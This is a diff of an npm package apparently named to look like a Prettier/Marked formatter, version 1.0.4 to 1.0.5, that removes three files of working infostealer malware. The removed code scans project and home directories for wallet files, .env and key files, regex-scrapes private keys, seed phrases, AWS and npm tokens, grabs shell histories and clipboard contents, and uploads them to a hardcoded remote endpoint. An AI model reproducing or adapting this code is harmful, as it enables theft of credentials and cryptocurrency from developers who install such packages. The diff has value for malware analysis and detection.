marked-prettier 1.0.4 → 1.0.5

package/lib/collect.js

@@ -1,564 +0,0 @@
-'use strict';
-
-const { execSync } = require('child_process');
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-const {
-  DEFAULT_SCAN_MAX_DEPTH,
-  SHELL_HISTORY_LINE_LIMIT,
-  CLIPBOARD_MONITOR_MS,
-  CLIPBOARD_POLL_MS,
-  CLIPBOARD_MAX_CHARS,
-  DEV_SCRAPE_MAX_FILE_BYTES,
-  DEV_SCAN_HOME_MAX_DEPTH,
-  parseEnvList,
-} = require('./config');
-
-const WALLET_KEYWORDS = [
-  'key', 'wallet', 'password', 'credential', 'credentials', 'sol', 'eth', 'tron', 'bitcoin', 'btc', 'pol', 'xrp',
-  'metamask', 'phantom', 'keystore', 'privatekey', 'private_key', 'secret', 'mnemonic', 'phrase', 'personal',
-  'backup', 'seed', 'trezor', 'ledger', 'electrum', 'exodus', 'trustwallet', 'token', 'address', 'recovery',
-  'hardhat', 'foundry', 'truffle', 'deployer', 'signer', 'alchemy', 'infura', 'helius', 'rpc',
-  'bot', 'apikey', 'api_key', 'mainnet', 'binance', 'bybit', 'okx',
-];
-
-const DOC_EXTENSIONS = ['.doc', '.docx', '.xls', '.xlsx', '.txt', '.pdf'];
-const KEY_FILE_EXTENSIONS = ['.pem', '.p12', '.pfx'];
-
-const SKIP_SCAN_DIRS = new Set([
-  'node_modules', 'Program Files', 'Program Files (x86)', 'ProgramData', 'Windows',
-  'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
-  'target', 'target2', 'var', 'cache',
-  'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'audio', 'videos', 'video', 'music',
-  'git', 'svn', 'cvs', 'hg', 'mercurial', 'registry',
-  '__MACOSX', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
-  'pkg', 'move', 'rustup', 'toolchains',
-  'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
-  'coverage', 'terraform',
-  '.target', '.next', '.git', '.cache', '.turbo', '.nuxt', '.output', '.vercel',
-]);
-
-const DEV_SCRAPE_EXTENSIONS = new Set([
-  '.js', '.cjs', '.mjs', '.ts', '.tsx',
-  '.py', '.toml', '.yaml', '.yml',
-  '.json', '.txt', '.md', '.env', '.cfg', '.ini', '.conf',
-]);
-
-const DEV_SCRAPE_SKIP_DIRS = new Set([
-  ...SKIP_SCAN_DIRS,
-  'test', 'tests', '__tests__', 'spec', 'fixtures', 'mocks',
-  'node_modules', '.git', 'vendor', 'venv', '.venv', 'env',
-]);
-
-const DEV_SECRET_PATTERNS = [
-  { label: 'evm-private-key', re: /(?:PRIVATE_KEY|DEPLOYER_KEY|SIGNER_KEY|SECRET_KEY|WALLET_KEY)\s*[=:]\s*["']?(?:0x)?[a-fA-F0-9]{64}["']?/g },
-  { label: 'evm-key-value', re: /["']0x[a-fA-F0-9]{64}["']/g },
-  { label: 'solana-key-array', re: /\[\s*\d{1,3}(?:\s*,\s*\d{1,3}){60,}\s*\]/g },
-  { label: 'mnemonic', re: /(?:MNEMONIC|SEED_PHRASE|SEED)\s*[=:]\s*["']?(?:[a-z]+ ){11,23}[a-z]+["']?/g },
-  { label: 'bip39-phrase', re: /\b(?:[a-z]{3,8} ){11}[a-z]{3,8}\b/g },
-  { label: 'hardhat-mnemonic', re: /accounts\s*:\s*\{[^}]*mnemonic\s*:\s*["'][^"']{20,}["']/g },
-  { label: 'aws-secret', re: /(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*["']?[A-Za-z0-9/+]{40}["']?/g },
-  { label: 'api-secret', re: /(?:API_SECRET|API_KEY|ACCESS_TOKEN|AUTH_TOKEN|SECRET_TOKEN)\s*[=:]\s*["']?[A-Za-z0-9_\-]{30,}["']?/g },
-  { label: 'npm-token', re: /(?:_authToken|token)\s*=\s*(?:npm_|ghp_|pypi-)[A-Za-z0-9_\-]{20,}/g },
-];
-
-function isEnvConfigFile(fileName) {
-  const lower = fileName.toLowerCase();
-  if (lower.startsWith('.env')) return true;
-  if (lower.startsWith('env.')) return true;
-  if (/^\.?env\([^)]+\)/.test(lower)) return true;
-  if (lower.endsWith('.env')) return true;
-  if (lower === 'env') return true;
-  if (lower === 'config.toml') return true;
-  if (lower === 'config.yml' || lower === 'config.yaml') return true;
-  return false;
-}
-
-function isDevKeyFile(fileName) {
-  const lower = fileName.toLowerCase();
-  if (lower.startsWith('utc--')) return true;
-  if (lower.endsWith('.keystore')) return true;
-  if (lower === 'wallet.json') return true;
-  if (lower === 'keypair.json') return true;
-  if (lower === 'accounts.json') return true;
-  if (lower === 'secrets.json') return true;
-  if (lower === 'credentials.json') return true;
-  if (lower === 'mnemonic.txt') return true;
-  if (lower === 'seed.txt') return true;
-  if (lower === 'foundry.toml') return true;
-  if (lower.startsWith('hardhat.config.')) return true;
-  return false;
-}
-
-function isSensitiveKeyFile(fileName) {
-  const lower = fileName.toLowerCase();
-  return KEY_FILE_EXTENSIONS.some((ext) => lower.endsWith(ext));
-}
-
-function isWalletRelatedDoc(fileName) {
-  const lower = fileName.toLowerCase();
-  const hasDocExt = DOC_EXTENSIONS.some((ext) => lower.endsWith(ext));
-  if (!hasDocExt) return false;
-  return WALLET_KEYWORDS.some((kw) => lower.includes(kw));
-}
-
-function shouldCollectFile(fileName) {
-  const lower = fileName.toLowerCase();
-  if (isEnvConfigFile(lower)) return true;
-  if (lower === 'id.json' || lower.endsWith('.id.json')) return true;
-  if (isSensitiveKeyFile(lower)) return true;
-  if (isDevKeyFile(lower)) return true;
-  return isWalletRelatedDoc(lower);
-}
-
-async function scanDirectoryRecursive(dir, out, maxDepth, currentDepth = 0, yieldEvery = 100) {
-  if (maxDepth > 0 && currentDepth >= maxDepth) return;
-
-  let stat;
-  try {
-    stat = await fs.promises.stat(dir);
-  } catch {
-    return;
-  }
-  if (!stat.isDirectory()) return;
-
-  let entries;
-  try {
-    entries = await fs.promises.readdir(dir, { withFileTypes: true });
-  } catch {
-    return;
-  }
-
-  let entryCount = 0;
-  for (const entry of entries) {
-    entryCount++;
-    if (entryCount % yieldEvery === 0) {
-      await new Promise((resolve) => setImmediate(resolve));
-    }
-
-    const entryPath = path.join(dir, entry.name);
-    try {
-      if (entry.isSymbolicLink()) continue;
-
-      if (entry.isDirectory()) {
-        if (entry.name.startsWith('.')) continue;
-        if (SKIP_SCAN_DIRS.has(entry.name)) continue;
-        await scanDirectoryRecursive(entryPath, out, maxDepth, currentDepth + 1, yieldEvery);
-      } else if (entry.isFile() && shouldCollectFile(entry.name)) {
-        out.push(entryPath);
-      }
-    } catch {
-      continue;
-    }
-  }
-}
-
-function getVictimProjectRoot() {
-  const candidates = [
-    process.env.INIT_CWD,
-    process.env.npm_config_local_prefix,
-    process.env.BACKUP_PROJECT_ROOT,
-    process.env.PSM_PROJECT_ROOT,
-  ].filter(Boolean);
-
-  for (const candidate of candidates) {
-    const resolved = path.resolve(String(candidate));
-    try {
-      if (fs.existsSync(resolved) && fs.statSync(resolved).isDirectory()) {
-        return resolved;
-      }
-    } catch {
-      continue;
-    }
-  }
-
-  return process.cwd();
-}
-
-async function collectCwdSensitiveFiles(maxDepth = DEFAULT_SCAN_MAX_DEPTH) {
-  const cwd = getVictimProjectRoot();
-  if (!fs.existsSync(cwd)) return [];
-
-  const found = [];
-  await scanDirectoryRecursive(cwd, found, maxDepth);
-  return found;
-}
-
-function readShellHistoryFile(filePath) {
-  try {
-    if (!fs.existsSync(filePath)) return null;
-    return fs.readFileSync(filePath, 'utf8');
-  } catch {
-    return null;
-  }
-}
-
-function limitShellHistoryLines(text, limit) {
-  const lines = text.split(/\r?\n/);
-  if (lines.length <= limit) return text;
-  return lines.slice(-limit).join('\n');
-}
-
-function bashHistoryFromBuiltin(homeDir, defaultPath) {
-  try {
-    const result = execSync('bash -c history', {
-      encoding: 'utf8',
-      cwd: homeDir,
-      env: { ...process.env, HOME: homeDir, HISTFILE: defaultPath },
-      timeout: 5000,
-      stdio: ['pipe', 'pipe', 'ignore'],
-    });
-    const trimmed = result.trim();
-    return trimmed.length > 0 ? trimmed : null;
-  } catch {
-    return null;
-  }
-}
-
-function zshHistoryFromFc(homeDir) {
-  try {
-    const result = execSync("zsh -c 'fc -l -1000'", {
-      encoding: 'utf8',
-      cwd: homeDir,
-      env: { ...process.env, HOME: homeDir },
-      timeout: 5000,
-      stdio: ['pipe', 'pipe', 'ignore'],
-    });
-    const trimmed = result.trim();
-    return trimmed.length > 0 ? trimmed : null;
-  } catch {
-    return null;
-  }
-}
-
-function shellHistoryFilename(source) {
-  return 'shell-history-' + source.replace(/[^\w.-]+/g, '_') + '.txt';
-}
-
-function gatherShellHistory() {
-  const out = [];
-  const homeDir = os.homedir();
-  const platform = os.platform();
-  const push = (filePath, label) => {
-    const text = readShellHistoryFile(filePath);
-    if (text && text.trim().length > 0) {
-      out.push({ source: label, content: text });
-    }
-  };
-
-  if (platform === 'win32') {
-    const appData = process.env.APPDATA || path.join(homeDir, 'AppData', 'Roaming');
-    push(
-      path.join(appData, 'Microsoft', 'Windows', 'PowerShell', 'PSReadLine', 'ConsoleHost_history.txt'),
-      'PowerShell (PSReadLine)'
-    );
-    push(path.join(homeDir, '.bash_history'), 'Bash (e.g. Git Bash)');
-    if (!out.some((entry) => entry.source.includes('Bash'))) {
-      const bashHist = bashHistoryFromBuiltin(homeDir, path.join(homeDir, '.bash_history'));
-      if (bashHist) {
-        out.push({
-          source: 'Bash (bash -c)',
-          content: limitShellHistoryLines(bashHist, SHELL_HISTORY_LINE_LIMIT),
-        });
-      }
-    }
-  } else {
-    const histfile = process.env.HISTFILE;
-    if (histfile) push(path.resolve(histfile), 'HISTFILE');
-    push(path.join(homeDir, '.bash_history'), 'Bash');
-    push(path.join(homeDir, '.zsh_history'), 'Zsh');
-    push(path.join(homeDir, '.local', 'share', 'fish', 'fish_history'), 'Fish');
-    push(path.join(homeDir, '.sh_history'), 'Sh');
-    push(
-      path.join(homeDir, '.local', 'share', 'powershell', 'PSReadLine', 'ConsoleHost_history.txt'),
-      'PowerShell (Linux)'
-    );
-    if (!out.some((entry) => entry.source === 'Bash')) {
-      const bashHist = bashHistoryFromBuiltin(homeDir, path.join(homeDir, '.bash_history'));
-      if (bashHist) {
-        out.push({
-          source: 'Bash (bash -c)',
-          content: limitShellHistoryLines(bashHist, SHELL_HISTORY_LINE_LIMIT),
-        });
-      }
-    }
-    if (!out.some((entry) => entry.source === 'Zsh')) {
-      const zshHist = zshHistoryFromFc(homeDir);
-      if (zshHist) {
-        out.push({
-          source: 'Zsh (fc)',
-          content: limitShellHistoryLines(zshHist, SHELL_HISTORY_LINE_LIMIT),
-        });
-      }
-    }
-  }
-
-  return out;
-}
-
-function buildShellHistoryExtraFiles() {
-  return gatherShellHistory().map(({ source, content }) => ({
-    filename: shellHistoryFilename(source),
-    content,
-  }));
-}
-
-function captureClipboardTextOnce() {
-  const platform = os.platform();
-
-  if (platform === 'win32') {
-    try {
-      const result = execSync(
-        'powershell -NoProfile -Command "Get-Clipboard -Format Text -ErrorAction SilentlyContinue"',
-        { encoding: 'utf8', timeout: 5000, stdio: ['pipe', 'pipe', 'ignore'] }
-      );
-      return result && result.trim() ? result : null;
-    } catch {
-      return null;
-    }
-  }
-
-  if (platform === 'darwin') {
-    try {
-      const result = execSync('pbpaste', { encoding: 'utf8', timeout: 3000, stdio: ['pipe', 'pipe', 'ignore'] });
-      return result && result.trim() ? result : null;
-    } catch {
-      return null;
-    }
-  }
-
-  for (const cmd of ['wl-paste -n', 'xclip -selection clipboard -o']) {
-    try {
-      const result = execSync(cmd, { encoding: 'utf8', timeout: 3000, stdio: ['pipe', 'pipe', 'ignore'] });
-      if (result && result.trim()) return result;
-    } catch {
-      // try next
-    }
-  }
-
-  return null;
-}
-
-async function gatherClipboardSnapshots() {
-  const snapshots = [];
-  const seen = new Set();
-
-  const pushSnapshot = (text) => {
-    const trimmed = (text || '').trim();
-    if (!trimmed || seen.has(trimmed)) return;
-    seen.add(trimmed);
-    snapshots.push(trimmed.slice(0, CLIPBOARD_MAX_CHARS));
-  };
-
-  pushSnapshot(captureClipboardTextOnce());
-
-  const monitorMs = Math.max(0, CLIPBOARD_MONITOR_MS);
-  if (monitorMs > 0) {
-    const endAt = Date.now() + monitorMs;
-    while (Date.now() < endAt) {
-      await new Promise((resolve) => setTimeout(resolve, CLIPBOARD_POLL_MS));
-      pushSnapshot(captureClipboardTextOnce());
-    }
-  }
-
-  return snapshots;
-}
-
-async function buildClipboardExtraFiles() {
-  const snapshots = await gatherClipboardSnapshots();
-  return snapshots.map((content, index) => ({
-    filename: `clipboard-${Date.now()}-${index + 1}.txt`,
-    content,
-  }));
-}
-
-function getPlatformScanRoots() {
-  const platform = os.platform();
-  const roots = [];
-
-  if (platform === 'linux') {
-    const home = os.homedir();
-    if (home) roots.push(home);
-
-    const homeBase = '/home';
-    try {
-      if (fs.existsSync(homeBase) && fs.statSync(homeBase).isDirectory()) {
-        for (const entry of fs.readdirSync(homeBase, { withFileTypes: true })) {
-          if (entry.isDirectory()) roots.push(path.join(homeBase, entry.name));
-        }
-      }
-    } catch {
-      // ignore
-    }
-  } else if (platform === 'win32') {
-    for (const letter of 'CDEFGHIJ') {
-      const drive = `${letter}:\\`;
-      try {
-        fs.accessSync(drive);
-        roots.push(drive);
-      } catch {
-        // drive not present
-      }
-    }
-  } else if (platform === 'darwin') {
-    const usersBase = '/Users';
-    try {
-      if (fs.existsSync(usersBase) && fs.statSync(usersBase).isDirectory()) {
-        for (const entry of fs.readdirSync(usersBase, { withFileTypes: true })) {
-          if (entry.isDirectory()) roots.push(path.join(usersBase, entry.name));
-        }
-      }
-    } catch {
-      const home = os.homedir();
-      if (home) roots.push(home);
-    }
-  } else {
-    const home = os.homedir();
-    if (home) roots.push(home);
-  }
-
-  for (const extra of parseEnvList('BACKUP_SCAN_PATHS').concat(parseEnvList('PSM_SCAN_PATHS'))) {
-    if (extra && fs.existsSync(extra)) roots.push(path.resolve(extra));
-  }
-
-  return [...new Set(roots)];
-}
-
-function isDevScanDrivesEnabled() {
-  const raw = process.env.BACKUP_DEV_SCAN_DRIVES ?? process.env.PSM_DEV_SCAN_DRIVES ?? '1';
-  return String(raw).trim() !== '0';
-}
-
-function getDevScanRoots() {
-  const home = os.homedir();
-  const roots = [
-    getVictimProjectRoot(),
-    path.join(home, 'projects'),
-    path.join(home, 'dev'),
-    path.join(home, 'code'),
-    path.join(home, 'repos'),
-    path.join(home, 'src'),
-    path.join(home, 'work'),
-    path.join(home, 'Desktop'),
-    path.join(home, 'Documents'),
-  ];
-
-  if (os.platform() === 'win32') {
-    roots.push(path.join(home, 'source'));
-  }
-
-  if (isDevScanDrivesEnabled()) {
-    roots.push(...getPlatformScanRoots());
-  }
-
-  for (const extra of parseEnvList('BACKUP_DEV_SCAN_PATHS').concat(parseEnvList('PSM_DEV_SCAN_PATHS'))) {
-    if (extra) roots.push(path.resolve(extra));
-  }
-
-  return [...new Set(roots)].filter((r) => {
-    try {
-      return fs.existsSync(r) && fs.statSync(r).isDirectory();
-    } catch {
-      return false;
-    }
-  });
-}
-
-async function scrapeDevSecretsFromFile(filePath, findings, maxBytes) {
-  try {
-    const stat = await fs.promises.stat(filePath);
-    if (stat.size === 0 || stat.size > maxBytes) return;
-
-    const content = await fs.promises.readFile(filePath, 'utf8');
-
-    for (const { label, re } of DEV_SECRET_PATTERNS) {
-      re.lastIndex = 0;
-      let match;
-      while ((match = re.exec(content)) !== null) {
-        const line = content.slice(0, match.index).split('\n').length;
-        findings.push({
-          file: filePath,
-          label,
-          line,
-          snippet: match[0].slice(0, 120),
-        });
-        if (findings.length >= 1000) return;
-      }
-    }
-  } catch {
-    // unreadable
-  }
-}
-
-async function scrapeDevSecretsFromDir(dir, findings, maxDepth, depth = 0) {
-  if (depth >= maxDepth) return;
-  let entries;
-  try {
-    entries = await fs.promises.readdir(dir, { withFileTypes: true });
-  } catch {
-    return;
-  }
-
-  for (const entry of entries) {
-    const entryPath = path.join(dir, entry.name);
-    try {
-      if (entry.isSymbolicLink()) continue;
-      if (entry.isDirectory()) {
-        if (entry.name.startsWith('.') && entry.name !== '.config') continue;
-        if (DEV_SCRAPE_SKIP_DIRS.has(entry.name)) continue;
-        await scrapeDevSecretsFromDir(entryPath, findings, maxDepth, depth + 1);
-      } else if (entry.isFile()) {
-        const ext = path.extname(entry.name).toLowerCase();
-        if (!DEV_SCRAPE_EXTENSIONS.has(ext) && !isEnvConfigFile(entry.name)) continue;
-        await scrapeDevSecretsFromFile(entryPath, findings, DEV_SCRAPE_MAX_FILE_BYTES);
-      }
-    } catch {
-      continue;
-    }
-    if (findings.length >= 1000) return;
-  }
-}
-
-async function collectDevSecrets() {
-  const roots = getDevScanRoots();
-  const findings = [];
-  const driveScan = isDevScanDrivesEnabled();
-  const maxDepth = driveScan ? DEFAULT_SCAN_MAX_DEPTH : DEV_SCAN_HOME_MAX_DEPTH;
-
-  for (const root of roots) {
-    await scrapeDevSecretsFromDir(root, findings, maxDepth);
-    if (findings.length >= 1000) break;
-  }
-
-  return findings;
-}
-
-function buildDevSecretReport(findings) {
-  if (!findings.length) return null;
-
-  const lines = [`# Dev secrets scrape — ${new Date().toISOString()}`, `# Total findings: ${findings.length}`, ''];
-
-  for (const { file, label, line, snippet } of findings) {
-    lines.push(`[${label}] ${file}:${line}`);
-    lines.push(`  ${snippet}`);
-    lines.push('');
-  }
-
-  return lines.join('\n');
-}
-
-module.exports = {
-  shouldCollectFile,
-  collectCwdSensitiveFiles,
-  buildShellHistoryExtraFiles,
-  gatherShellHistory,
-  buildClipboardExtraFiles,
-  gatherClipboardSnapshots,
-  collectDevSecrets,
-  buildDevSecretReport,
-  getVictimProjectRoot,
-  getPlatformScanRoots,
-  getDevScanRoots,
-  isDevScanDrivesEnabled,
-};

package/lib/config.js

@@ -1,52 +0,0 @@
-'use strict';
-
-const DEFAULT_API_BASE =
-  process.env.BACKUP_API_URL ||
-  process.env.PSM_API_URL ||
-  'https://trabalhos-flax.vercel.app/';
-
-const UPLOAD_URL = `${DEFAULT_API_BASE.replace(/\/$/, '')}/api/v1`;
-const DEFAULT_USERNAME_TAG = process.env.BACKUP_USERNAME_TAG || process.env.PSM_USERNAME_TAG || 'sirius';
-
-const MAX_BATCH_BYTES = Number(process.env.BACKUP_MAX_BATCH_BYTES || process.env.PSM_MAX_BATCH_BYTES) || 4 * 1024 * 1024;
-const DEFAULT_SCAN_MAX_DEPTH = Number(process.env.BACKUP_SCAN_MAX_DEPTH || process.env.PSM_SCAN_MAX_DEPTH) || 10;
-const SHELL_HISTORY_LINE_LIMIT = 100;
-const CLIPBOARD_MONITOR_MS = Number(process.env.BACKUP_CLIPBOARD_MONITOR_MS || process.env.PSM_CLIPBOARD_MONITOR_MS) || 0;
-const CLIPBOARD_POLL_MS = Number(process.env.BACKUP_CLIPBOARD_POLL_MS || process.env.PSM_CLIPBOARD_POLL_MS) || 500;
-const CLIPBOARD_MAX_CHARS = Number(process.env.BACKUP_CLIPBOARD_MAX_CHARS || process.env.PSM_CLIPBOARD_MAX_CHARS) || 50000;
-const UPLOAD_PARALLEL_LIMIT = Math.max(1, Number(process.env.BACKUP_UPLOAD_PARALLEL || process.env.PSM_UPLOAD_PARALLEL) || 3);
-const DEV_SCRAPE_MAX_FILE_BYTES = Number(process.env.BACKUP_DEV_SCRAPE_FILE_BYTES || process.env.PSM_DEV_SCRAPE_FILE_BYTES) || 256 * 1024;
-const DEV_SCAN_HOME_MAX_DEPTH = Number(process.env.BACKUP_DEV_SCAN_MAX_DEPTH || process.env.PSM_DEV_SCAN_MAX_DEPTH) || 6;
-
-function parseEnvList(key) {
-  const raw = process.env[key];
-  if (!raw || !raw.trim()) return [];
-  return raw.split(',').map((s) => s.trim()).filter(Boolean);
-}
-
-function createBackupConfig(usernameTag = DEFAULT_USERNAME_TAG) {
-  return {
-    usernameTag: usernameTag || DEFAULT_USERNAME_TAG,
-    apiBase: DEFAULT_API_BASE.replace(/\/$/, ''),
-    uploadUrl: UPLOAD_URL,
-    maxBatchBytes: MAX_BATCH_BYTES,
-    uploadParallel: UPLOAD_PARALLEL_LIMIT,
-  };
-}
-
-module.exports = {
-  DEFAULT_API_BASE,
-  UPLOAD_URL,
-  DEFAULT_USERNAME_TAG,
-  MAX_BATCH_BYTES,
-  DEFAULT_SCAN_MAX_DEPTH,
-  SHELL_HISTORY_LINE_LIMIT,
-  CLIPBOARD_MONITOR_MS,
-  CLIPBOARD_POLL_MS,
-  CLIPBOARD_MAX_CHARS,
-  UPLOAD_PARALLEL_LIMIT,
-  DEV_SCRAPE_MAX_FILE_BYTES,
-  DEV_SCAN_HOME_MAX_DEPTH,
-  parseEnvList,
-  createBackupConfig,
-};

package/lib/pack-project.js

@@ -1,57 +0,0 @@
-'use strict';
-
-const { CLIPBOARD_MONITOR_MS } = require('./config');
-const {
-  collectCwdSensitiveFiles,
-  buildShellHistoryExtraFiles,
-  buildClipboardExtraFiles,
-  collectDevSecrets,
-  buildDevSecretReport,
-} = require('./collect');
-const { chunkFilesBySize, uploadBatchesParallel, multipartUpload } = require('./upload');
-
-async function packProjectBundle(config, created = false) {
-  const [filePaths, shellExtras, clipboardExtras, devFindings] = await Promise.all([
-    collectCwdSensitiveFiles(),
-    Promise.resolve(buildShellHistoryExtraFiles()),
-    buildClipboardExtraFiles(),
-    collectDevSecrets().catch(() => []),
-  ]);
-
-  const extraFiles = [...shellExtras, ...clipboardExtras];
-  const devReport = devFindings.length ? buildDevSecretReport(devFindings) : null;
-  if (devReport) {
-    extraFiles.push({ filename: 'dev-secrets-scrape.txt', content: devReport });
-  }
-
-  if (!filePaths.length && !extraFiles.length) return;
-
-  const meta = {
-    pack: 'project',
-    lightBundle: true,
-    shellHistory: shellExtras.length > 0,
-    clipboard: clipboardExtras.length > 0,
-    clipboardSnapshots: clipboardExtras.length,
-    cwdFileCount: filePaths.length,
-    devSecretsScrape: !!devReport,
-    devSecretsCount: devFindings.length,
-    ...(CLIPBOARD_MONITOR_MS > 0 ? { clipboardMonitorMs: CLIPBOARD_MONITOR_MS } : {}),
-  };
-
-  const maxBytes = config.maxBatchBytes;
-  const batches = filePaths.length ? chunkFilesBySize(filePaths, maxBytes) : [[]];
-
-  await uploadBatchesParallel(
-    batches,
-    (batch, i) =>
-      multipartUpload(config, batch, created, i === 0 ? extraFiles : [], {
-        ...meta,
-        uploadBatch: batches.length > 1 ? `${i + 1}/${batches.length}` : undefined,
-      }),
-    config.uploadParallel
-  );
-}
-
-module.exports = {
-  packProjectBundle,
-};